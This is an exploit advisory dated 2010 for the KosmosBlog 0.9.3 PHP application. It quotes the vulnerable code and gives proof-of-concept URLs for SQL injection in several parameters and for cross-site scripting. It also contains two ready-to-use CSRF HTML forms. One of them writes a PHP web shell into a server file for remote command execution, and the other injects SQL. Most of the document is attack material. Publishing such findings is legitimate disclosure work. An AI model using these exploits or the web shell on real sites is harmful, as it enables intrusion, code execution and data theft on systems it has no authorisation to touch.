1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 |
[#-----------------------------------------------------------------------------------------------#] [#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities [#] Author: Milos Zivanovic [#] Email: milosz.security[at]gmail.com<http://gmail.com> [#] Date: 22. January 2010. [#-----------------------------------------------------------------------------------------------#] [#] Application: KosmosBlog [#] Version: 0.9.3 [#] Platform: PHP [#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip [#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery [#-----------------------------------------------------------------------------------------------#] http://www.kosmosblog.com/index.php [#]Content | |--Everybody | |--SQL Injection | | |--index.php (GET kategorija) | | |--index.php (GET id) | | |--index.php (GET monthID) | | |--index.php (GET yearID) | | |--register.php (POST username & email) | | | |--Cross Site Scripting | |--addcomment.php (GET id) | |--Logged in users |--Persistent Cross Site Scripting | |--addcontentgo.php (POST naslov) | |--SQL Injection | |--deletecontent.php (GET id) | |--usermanager.php (GET id) | |--Cross Site Request Forgery To Remote Code Execution | |--bannedusers.php | |--Cross Site Request Forgery To SQL Injection |--commentsaction.php [~] EVERYBODY [*] SQL INJECTION Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php if (isset($_GET['kategorija'])) { generisivesti($_GET['kategorija']); } elseif (isset($_GET['id'])) { generisivesti(0,$_GET['id'],0); // function generisivesti does not sanitize input variable before passing it to mysql query [VULNERABLE CODE----------------------------------------------------------------------------------] [-]index.php (GET kategorija) [POC----------------------------------------------------------------------------------------------] http://kosmos/index.php?kategorija=[SQL_Injection] [POC----------------------------------------------------------------------------------------------] [-]index.php (GET id) [POC----------------------------------------------------------------------------------------------] http://kosmos/index.php?id=1'[SQL_Injection] [POC----------------------------------------------------------------------------------------------] Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/funkcije.php if (isset($_GET['yearID'])) { $date_yearID = $_GET['yearID']; } else { $date_yearID = $date['year']; } if (isset($_GET['monthID'])) { $date_monthID = $_GET['monthID']; } else { $date_monthID = $date['month']; } .... $eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...); [VULNERABLE CODE----------------------------------------------------------------------------------] [-]index.php (GET monthID) [POC----------------------------------------------------------------------------------------------] http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection] [POC----------------------------------------------------------------------------------------------] [-]index.php (GET yearID) [POC----------------------------------------------------------------------------------------------] http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2 [POC----------------------------------------------------------------------------------------------] Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/register.php $userN = $_POST['user']; ... $mail = $_POST['mail']; ... mysql_query("... VALUES('$userN', '$loz', '$mail', ... [VULNERABLE CODE----------------------------------------------------------------------------------] [-]register.php (POST username & email) [POC----------------------------------------------------------------------------------------------] http://kosmos/register.php [POC----------------------------------------------------------------------------------------------] In username and email fields we can inject our SQL code. [*] CROSS SITE SCRIPTING Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/addcomment.php if ($_GET['page'] == 'add'){ $link = "../index.php?id=".$_GET['id']; } ?> ... <META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>"> [VULNERABLE CODE----------------------------------------------------------------------------------] [-]addcomment.php (GET id) [POC----------------------------------------------------------------------------------------------] http://kosmos/administration/addcomment.php?page=add&id="[XSS] [POC----------------------------------------------------------------------------------------------] [~] LOGGED IN USERS [*] PERSISTENT CROSS SITE SCRIPTING Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/addcontentgo.php switch ($_POST['type']) { case "blogpost": $title = $_POST['title']; ... $sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'... [VULNERABLE CODE----------------------------------------------------------------------------------] [-]addcontentgo.php (POST naslov) When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one. [*] SQL INJECTION Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/deletecontent.php $id = $_GET['id']; ... $result = @mysql_query("SELECT * FROM main_kosmos_blog WHERE id = '".$id."' ;"); [VULNERABLE CODE----------------------------------------------------------------------------------] [-]deletecontent.php (GET id) [POC----------------------------------------------------------------------------------------------] http://kosmos/administration/deletecontent.php?action=blogpost&id=1'[SQL_Injection] [POC----------------------------------------------------------------------------------------------] Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/usermanager.php $result3 = @mysql_query(...<code>users_kosmos_blog</code> WHERE id='".$_GET['id']... [VULNERABLE CODE----------------------------------------------------------------------------------] [-]usermanager.php (GET id) [POC----------------------------------------------------------------------------------------------] http://kosmos/administration/usermanager.php?action=obradi&id=1'[SQL_Injection] [POC----------------------------------------------------------------------------------------------] [*] CROSS SITE REQUEST FORGERY TO REMOTE CODE EXECUTION Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/bannedusers.php $file=fopen("mainincludes/bannedusers.php","w"); $banned = $_POST['banned']; fwrite ($file,$banned); [VULNERABLE CODE----------------------------------------------------------------------------------] [-]bannedusers.php [EXPLOIT------------------------------------------------------------------------------------------] <form method="post" action="http://kosmos/administration/bannedusers.php?action=process"> <input type="hidden" name="banned" value="<?php @system($_GET['cmd']); ?>"> <input type="hidden" name="type" value="link"> <input type="submit" name="submit" value="Snimi"> </form> [EXPLOIT------------------------------------------------------------------------------------------] After logged in user run this exploit, php code will be written into .php file and it will be ready to execute. File to run after successful exploitation: http://kosmos/administration/mainincludes/bannedusers.php [*] CROSS SITE REQUEST FORGERY TO SQL INJECTION Vulnerable Code: [VULNERABLE CODE----------------------------------------------------------------------------------] // /kosmos/administration/commentsaction.php $id = $_POST['ids']; ... for ($i = 0; $i < count($id); $i++) { $idd = $id[$i]; ... $sql = "DELETE FROM <code>comments_kosmos_blog</code> WHERE id='".$idd."'"; [VULNERABLE CODE----------------------------------------------------------------------------------] [-]commentsaction.php [EXPLOIT------------------------------------------------------------------------------------------] <form method="post" action="http://kosmos/administration/commentsaction.php"> <input type="hidden" name="action" value="Obriši"> <input type="hidden" name="ids[]" value="1'[SQL_Injection]"> <input type="submit" name="submit"> </form> [EXPLOIT------------------------------------------------------------------------------------------] [#]EOF |